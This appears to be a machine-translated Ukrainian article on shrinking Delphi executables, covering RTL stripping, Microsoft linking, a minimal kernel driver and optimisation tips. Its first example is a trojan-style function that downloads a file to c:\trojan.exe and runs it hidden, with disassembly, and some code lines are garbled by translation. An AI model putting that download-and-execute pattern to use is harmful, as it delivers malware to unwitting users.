Delphi всемогутній (исходники), Різне, Програмування, статті

Ти пишеш на Дельфах і відчуваєш себе аутсайдером? Тобі нема чим відповісти в нескінченних hollywar’ах? Тепер ти точно будеш знати: дельфи варто того, щоб його любити. І не тільки через простоту цього мови. Дуже маленькі і дуже швидкі програми на дельфи – це можливо! Ти розкажеш про це всім, хто сумнівається. І з думкою, що дельфи – мова для ламерів, буде покінчено!


Багато системні програмісти звикли вважати delphi повним відстоєм. Свою думку вони аргументують тим, що компілятор генерує занадто повільний і великий код, а середній розмір порожній форми з кнопкою – 400 кілобайт. Втім, іноді ніяких аргументів і зовсім не наводиться. Коли на форумах стикаються шанувальники С + + і delphi, перші зазвичай кричать про супернаверненої синтаксисі і приголомшливих можливості ООП, при цьому стверджуючи, що в системному програмуванні все це необхідно, а другі – про можливості того ж ООП на дельфи, яких немає в С + +, і про те, що цією мовою писати простіше. З слів і тих, та інших можна зробити висновок, що обидві сторони ні про delphi, ні про c + + нічого толком не знають, і все це – порожня ламерская балачки.

Ця стаття присвячена прийомам системного програмування на delphi. Вона написана для тих, хто любить цю мову, хоче домогтися максимальної ефективності коду і не боїться вкласти в свою справу певний праця. Я покажу, як робити на дельфи те, що багато хто вважає неможливим. Тим, хто займається кодінгом на С + +, не складе труднощів знайти цілу купу статей по оптимізації. Якщо ж ти пишеш на delphi, ти не знайдеш на цю тему нічого хорошого. Мабуть, всі вважають, що ніякої оптимізації тут не потрібно. Може бути, тебе влаштовує 400-кілобайтний порожня форма з кнопкою? А, ти думаєш, що це неминуче зло, і вже давно з ним змирився? Що ж, доведеться трохи засмутити твої нерви і розвіяти священні омани.

Трохи про генерується компілятором коді

Для початку перевіримо твердження, що компілятор delphi генерує багато зайвого і неефективного коду. Для цього напишемо функцію, скачують і запускає файл з інтернету (такі речі зазвичай використовують в троянах). Писати будемо, природно, із застосуванням api. Ось що в мене вийшло:



  1. const

  2.   destfile = ′c: rojan.exe′;

  3. begin

  4.   urldownloadtofile(nil, source, destfile, 0, nil);

  5.   winexec(destfile, sw_hide);

  6. end;

Цей сорец я вставив в програму, скомпілював і дизасемблювати в ida. Ось його прокоментував лістинг:



  1. source = dword ptr 8

  2. push ebp

  3. mov ebp, esp

  4. push 0 ; lpbindstatuscallback

  5. push 0 ; dword

  6. push offset destfile ; lpcstr

  7. mov eax, [ebp+source]

  8. push eax ; lpcstr

  9. push 0 ; lpunknown

  10. call urldownloadtofilea

  11. push 0 ; ucmdshow

  12. push offset destfile ; lpcmdline

  13. call winexec

  14. pop ebp

  15. retn 4

  16. downloadandexecute endp

  17. destfile db ′c: rojan.exe′,0

Ну і де ж купа зайвого коду, про який деякі так люблять говорити? Все просто і красиво, майже те ж саме можна написати вручну на асемблері. Тим більше, що на ньому деякі розумники іноді таке видають – Будь-які помилки компілятора здадуться дрібницею :).
Чому ж програми, написані на дельфи, такі великі? Звідки береться зайвий код, якщо компілятор його не генерує? Зараз ми розберемо це питання докладніше.

ООП – двигун прогресу

ООП – вельми модне нині напрямок програмування. Його мета – спростити написання програм і скоротити терміни їх розробки, і з нею ООП прекрасно справляється. Більшість прикладних програмістів, пишуть на С + + або delphi, вже не мислять своєї діяльності без ООП. Їхній головний принцип – швидше здав програму, швидше отримав гроші. В таких умовах про яку б то не було оптимізації просто забувають.

Адже якщо поглянути на справу очима системного програміста, то відразу стане очевидний головний недолік: ООП – якість генерованого коду. Припустимо, у нас є клас, успадковані від іншого класу. При створенні об’єкта цього класу компілятор буде змушений повністю включити до його складу також код батьківського класу, оскільки немає можливості визначити, які методи класів використовуватися не будуть. Якщо у нас ціле дерево успадкування класів, як зазвичай і буває в реальних програмах, то весь його код увійде в програму, і від цього нікуди не дінешся. Виклик методів класу проводиться через таблицю, що збільшує час дзвінка. А коли метод успадковується від батька в десятому поколінні, то і виклик проходить через десять таблиць, перш ніж досягає обробного його коду. Виходить, що разом з купою мертвого коду ми отримуємо ще низьку ефективність робітника. Все це добре видно на прикладі бібліотеки vcl в дельфи.

А ось програма, написана на vb або на vc із застосуванням mfc, чомусь займає набагато менше місця. Все тому, що велика і жахлива компанія microsoft доклала до цього свою лапу. mfc і runtime-бібліотеки в vb важать анітрохи не менше, просто вони скомпілени в dll і входять в поставку windows, а значить, їх код не доводиться тягати з собою в програмах. На захист borland можна сказати, що така можливість присутній і в delphi. Потрібно просто в настройках проекту поставити галочку build with runtime packages, тоді програма значно зменшиться, але зажадає наявності відповідних runtime-бібліотек. Природно, ці бібліотеки в поставку вінди не входять, але в цьому треба звинувачувати не Борланд, а монопольну політику мелкософта.

Любителі ООП, які бажають розробляти програми у візуальному режимі, можуть використовувати kol. Це спроба зробити щось типу vcl, але з урахуванням її недоліків. Середній розмір порожній форми з кнопкою – 35 Кб, що вже краще, але для серйозних додатків ця бібліотека не підходить, так як часто глючить. Та й рішення це половинчасте.

Ті, хто хоче домогтися дійсно високої ефективності коду, повинні йти по принципово іншому шляху: забути про ООП і все, що з ним пов’язано, раз і назавжди. Писати програми доведеться тільки на чистому api.

Винуватець номер два

Створимо в delphi порожній проект, свідомо не містить ніякого корисного коду:



  1. begin

  2. end.

Після компіляції в delphi 7 ми отримуємо екзешник розміром в 13,5 Кб. Звідки?! Адже в програмі нічого немає! Відповідь на це питання знову допоможе дати ida. Дізассембліруем екзешник і подивимося, що він містить. Точка входу в програму буде виглядати так:





  1. start:

  2. push ebp

  3. mov ebp, esp

  4. add esp, 0fffffff0h

  5. mov eax, offset moduleid

  6. call _initexe

  7. ; Тут міг би бути наш код

  8. call _handlefinally

  9. code ends

Весь зайвий код знаходиться у функціях _initexe і _handlefinally. Справа в тому, що до кожної delphi програмі неявно підключається код, що входить до складу rtl (run time library). Ця либа потрібна для підтримки таких можливостей мови, як ООП, робота з рядками (string) і специфічні для паскаля функції (assignfile, readln, writeln, etc.). initexe виконує ініціалізацію всього цього добра, а handlefinally забезпечує коректне звільнення ресурсів.
Зроблено це, знову ж таки, для спрощення життя програмістам, і застосування rtl іноді виправдано, тому що може не знизити, а підвищити ефективність коду. Наприклад, до складу rtl входить менеджер купи, який дозволяє швидко виділяти і звільняти маленькі блоки пам’яті. За своєю ефективністю він в три рази перевершує системний. У плані продуктивності генерованого коду робота з рядками реалізована в rtl теж досить непогано, правда все одно, в збільшенні розміру файла, rtl – винуватець номер два після ООП.

Зменшуємо розмір

Якщо мінімальний розмір в 13,5 Кб тебе не влаштовує, то будемо прибирати delphi rtl. Весь код ліби знаходиться в двох файлах: system.pas і sysinit.pas. На жаль, компілятор підключає їх до програми в будь-якому випадку, тому єдине, що можна зробити, – видалити з цих модулів весь код, без якого програма може працювати, і перекомпіліть модулі, а отримані dcu-файли покласти в папку з програмою.

Файл system.pas містить основний код rtl та підтримки класів, але все це ми викинемо. Мінімальна вміст цього файлу повинна бути таким:





  1. interface



  2. procedure _handlefinally;



  3. type

  4.   tguid = record

  5.     d1: longword;

  6.     d2: word;

  7.     d3: word;

  8.     d4: array [0..7] of byte;

  9.   end;



  10.   pinitcontext = ^tinitcontext;

  11.   tinitcontext = record

  12.     outercontext: pinitcontext;

  13.     excframe: pointer;

  14.     inittable: pointer;

  15.     initcount: integer;

  16.     module: pointer;

  17.     dllsaveebp: pointer;

  18.     dllsaveebx: pointer;

  19.     dllsaveesi: pointer;

  20.     dllsaveedi: pointer;

  21.     exitprocesstls: procedure;

  22.     dllinitstate: byte;

  23.   end;



  24. implementation



  25. procedure _handlefinally;

  26. asm



  27. end;

  28. end.

Опис структури tguid компілятор вимагає в будь-якому випадку і без неї компілювати модуль відмовляється. tinitcontext знадобиться лінкера, якщо ми будемо збирати dll. handlefinally – процедура звільнення ресурсів rtl, компілятору вона теж необхідна, хоча може бути порожньою.

Тепер уріжемо файл sysinit.pas, який містить код ініціалізації та завершення роботи rtl і управляє підтримкою пакетів. Нам вистачить наступного:





  1. interface



  2. procedure _initexe;

  3. procedure _halt0;

  4. procedure _initlib(context: pinitcontext);



  5. var

  6.   moduleislib: boolean;

  7.   tlsindex: integer = -1;

  8.   tlslast: byte;



  9. const

  10.   ptrtonil: pointer = nil;



  11. implementation



  12. procedure _initlib(context: pinitcontext);

  13. asm



  14. end;



  15. procedure _initexe;

  16. asm



  17. end;



  18. procedure _halt0;

  19. asm



  20. end;

  21. end.

initexe – процедура ініціалізації rtl для exe-файлів, initlib – для dll, halt0 – завершення роботи програми. Всі інші зайві структури і змінні, які довелося залишити, необхідні компілятору. Вони не будуть включатися у вихідний файл і ніяк не вплинуть на його розмір.

Тепер покладемо ці два файли в папку з проектом і скомпілюємо їх з командного рядка:


dcc32.exe -q system.pas sysinit.pas -m -y -z -$d- -o

Позбувшись rtl, ми отримали екзешник розміром в 3,5 Кб. Борландовскій линкер створює в виконуваному файлі шість секцій, вони вирівнюються по 512 байт, до них плюсується pe-заголовок, що і дає ці 3,5 Кб.

Але ж до малого розміру ми отримуємо і певні труднощі, оскільки тепер не зможемо використовувати заголовні файли на winapi, що йдуть з delphi. Замість них доведеться писати свої. Це неважко, оскільки описи використовуваних api можна брати з борландовскіх хедерів і переносити у свої по мірі необхідності.

Якщо в складі проекту є кілька pas-файлів, линкер для вирівнювання коду вставить в нього порожні ділянки, і розміри знову збільшаться. Щоб цього уникнути, потрібно всю програму, включаючи визначення api, поміщати в один файл. Це дуже незручно, тому краще скористатися директивою препроцесора $ include і рознести код на кілька inc-файлів. Тут може зустрітися ще одна проблема – повторюваний код (коли кілька inc-файлів підключають один і той же inc) компілятор в таких випадках компілювати відмовиться. Вийти з положення можна, скориставшись директивами умовної компіляції, після чого будь inc-файл буде мати вигляд:



  1. {$define win32api}

  2. / / Тут йде наш код

  3. {$endif}

Таким чином, можна писати без rtl досить складні програми і забути про незручності.

Можна ще менше!

Напевно мінімальний розмір екзешник в 3,5 Кб задовольнить не всіх. Що ж, якщо постаратися, можна стиснути його ще в кілька разів. Для цього потрібно відмовитися від зручностей роботи з борландовскім линкеров і збирати виконані файли линкеров від microsoft. На жаль, тут нас чекає одна заковика. Мелкософтовскій линкер використовує в якості основного робочого формату coff, але може розуміти і интеловский omf. Однак програмісти Борланда (видать, навмисне) у версіях delphi вище третьої змінили генерований формат obj-файлів так, що тепер він несумісний з intel omf. Тобто тепер існують два види omf: intel omf і borland omf. Програми, здатної конвертувати об’єктні файли з формату borland omf в coff або intel omf, я не знайшов. Тому доведеться використовувати компілятор від delphi 3, який генерує стандартний об’єктний файл intel omf. Імпорт використовуваних api нам теж доведеться описувати вручну, причому досить незвичайним способом. Для початку візьмемо бібліотеку імпорту user32.lib зі складу visual c + + і відкриємо її в hex-редакторі. Імена функцій в ній мають вигляд “_messageboxa @ 16”, де після @ йде розмір переданих параметрів. Отже, оголошувати функції ми будемо таким чином:



    Спробуємо тепер написати helloworld якомога меншого розміру. Для цього створюємо проект такого типу:





    1. interface



    2. procedure start;



    3. implementation



    4. function messageboxa(hwnd:cardinal;lptext,lpcaption:pchar;utype:cardinal): integer;stdcall;external′user32.dll′ name ′_messageboxa@16′;



    5. procedure start;

    6. begin

    7.   messageboxa(0, ′hello world!′, nil, 0);

    8. end;

    9. end.

    Тип модуля unit потрібен для того, щоб компілятор генерував в об’єктному файлі символьні імена оголошених процедур. В нашому випадку це буде процедура start – точка входу в програму. Тепер компілюємо проект наступним рядком:


    dcc32.exe -jp -$a-,b-,c-,d-,g-,h-,i-,j-,l-,m-,o+,p-,q-,r-,t-,u-,v-,w+,x+,y- helloworld.pas

    Новий файл helloworld.obj відкриваємо в hex-редакторі і дивимося, у що перетворилася наша точка входу. У мене вийшло start $ qqrv. Це ім’я потрібно вказати як точку входу при складанні виконуваного файлу. І нарешті, виконаємо збірку:


    link.exe /align:32 /force:unresolved /subsystem:windows /entry:start$qqrv helloworld.obj user32.lib /out:hello.exe

    В результаті ми отримуємо працює helloworld розміром в 832 байти! Я думаю, що цей розмір задовольнить будь-кого. Спробуємо тепер дизасемблювати цей файл в ida і пошукати зайвий код:



    1. ; char text[]

    2. text db ′hello world!′,0

    3. public start

    4. start proc near

    5. push 0 ; utype

    6. push 0 ; lpcaption

    7. push offset text ; lptext

    8. push 0 ; hwnd

    9. call messageboxa

    10. retn

    11. start endp

    Ні байта зайвого коду! Покажи цей приклад усім, хто любить говорити про великому розмірі програм, написаних на дельфи, і понаблюдай за їх виразом обличчя – це прикольно :). Найзавзятіші промичат: [А. .. Е. .. Все одно лайно!], Але вже ніхто нічого не скаже по суті. А самі просунуті сперечальники приведуть останній аргумент – на delphi не можна написати драйвер режиму ядра для windows nt. Нічого … зараз і вони приєднаються до програв :).

    Пишемо драйвер на delphi

    Про те, як за нашою методикою зробити неможливе – написати на delphi драйвер режиму ядра, навіть є стаття на rsdn, і всім, хто цікавиться я рекомендую її прочитати. Тут же я наведу приклад найпростішого драйвера і вміст make.bat для його складання.





    1. interface



    2. function driverentry(driverobject, registrypath: pointer): integer; stdcall;



    3. implementation



    4. function dbgprint(str: pchar): cardinal; cdecl; external ′ntoskrnl.exe′ name ′_dbgprint′;

    5. function driverentry(driverobject, registrypath: pointer): integer;



    6. begin

    7.   dbgprint(′hello world!′);

    8.   result := -1;

    9. end;

    10. end.

    Файл make.bat:


    dcc32.exe -jp -$a-,b-,c-,d-,g-,h-,i-,j-,l-,m-,o+,p-,q-,r-,t-,u-,v-,w+,x+,y- driver.pas
    link.exe /driver /align:32 /base:0x10000 /subsystem:native /force:unresolved /entry:driverentry$qqspvt1 driver.obj ntoskrnl.lib /out:driver.sys

    Для компіляції нам знадобиться файл ntoskrnl.lib з ddk. Ми отримаємо драйвер розміром в кілобайт, який виводить повідомлення [hello world] в налагоджувальну консоль і повертає помилку, а тому не залишається в пам’яті і не вимагає визначення функції driverunload. Для запуску драйвера використовуй kmdmanager від four-f. Побачити результати його роботи можна в софтайсе або dbgview.

    Головна проблема, через яку на delphi не можна писати повноцінні драйвера, – відсутність ddk. Для написання драйверів потрібні заголовки на api-ядра та опис великої кількості системних структур. Все це багатство є тільки для С (від microsoft) і для masm32 (від four-f). Є чутка, що ddk для паскаля вже існує, але автор продає його за гроші і сильно цей факт не афішує. Думаю, коли-небудь все-таки знайдуться ентузіасти, які перепишуть ddk на паскаль і викладуть для загального використання. Іншою проблемою є те, що більшість прикладів, пов’язаних з системним програмуванням, написані на сі, тому якою б мовою ти не писав свої програми, си знати доведеться. Це, звичайно, не означає, що доведеться вивчати С + + в повному його обсязі. Для розуміння системних програм вистачить базових знань синтаксису, все інше ж використовується тільки в прикладних програмах, які нас зовсім не цікавлять.

    Переносимість коду

    При програмуванні на стандартних delphi компонентах, крім купи недоліків, ми отримуємо одне достоїнство – деяку переносимість коду. Якщо програма використовує тільки можливості мови, але не можливості системи, то вона буде легко компілюватися в kilix і працювати в linux. Вся проблема в тому, що без використання можливостей системи ми отримаємо справжнє глюкалово, важку і неефективну програму. Тим не менш, при написанні серйозних програм з вищеописаним методиками, все-таки хочеться мати деяку незалежність від системи. Отримати її дуже просто – достатньо писати код, не використовує ні api-функцій, ні можливостей мови взагалі. В деяких випадках це абсолютно неможливо (наприклад, в іграх), але іноді функції системи абсолютно не потрібні (наприклад, в математичних алгоритмах). У будь-якому випадку, слід чітко розділяти машинно-залежну і машинно-незалежну (якщо така є) частини коду. При дотриманні вищеописаних правил машинно-незалежна частина буде сумісна на рівні вихідних текстів з будь-якою системою, для якої є компілятор паскаля (а він є навіть для pic-контролерів). Незалежний від api код можна сміливо компілювати в dll і використовувати, наприклад, в драйвері режиму ядра. Також таку dll не важко використовувати і в інших ОС. Для цього потрібно просто посекційно отмапіть dll в адресний простір процесу, налаштувати релокі і сміливо користуватися її функціями. Здійснює це код на паскалі займає близько 80 рядків. Якщо ж dll-таки використовує деякі api-функції, то їх наявність можна проемуліровать, заповнивши таблицю імпорту dll адресами замінюють їх функцій у своїй програмі.

    Загальні прийоми оптимізації


    Намагайся скрізь, де можна, використовувати покажчики. Ніколи не передавай дані у функцію таким чином:


    procedure figznaet(data: tstructure);

    Завжди передавай покажчики на структури:


    procedure figznaet (pdata: pstructure); де pstructure = ^ tstructure;

    Такий виклик відбувається швидше і економить чималу кількість коду.
    Намагайся не користуватися типом даних string, замість нього завжди можна використовувати pchar і обробляти рядки вручну. Якщо потрібен тимчасовий буфер для зберігання рядки, то його слід оголосити в локальних змінних як array of char.


    Старайся передавати в функцію не більше трьох параметрів: перші три параметри згідно з методом виклику fastcall (який за замовчуванням застосовується в delphi) передаються в регістрах, а всі наступні через стек, що уповільнює доступ до них і збільшує розмір коду.


    Заощаджуй пам’ять: якщо, наприклад, у тебе є масив чисел, діапазон яких укладається в байт, то не потрібно оголошувати його як dword. Ніколи не варто писати повторюваний код. Якщо будь-які дії повинні повторюватися, то їх потрібно винести у функцію. Тим не менш, не варто робити функцію, яка містить два рядки коду, – її виклик може займати набагато більше місця, ніж вона сама.


    І пам’ятай головне: ефективність коду в першу чергу визначається не компілятором, а застосованим алгоритмом, що ефективніше!

    Схожі статті:


    Сподобалася стаття? Ви можете залишити відгук або підписатися на RSS , щоб автоматично отримувати інформацію про нові статтях.

    Коментарів поки що немає.

    Ваш отзыв

    Поділ на параграфи відбувається автоматично, адреса електронної пошти ніколи не буде опублікований, допустимий HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

    *

    *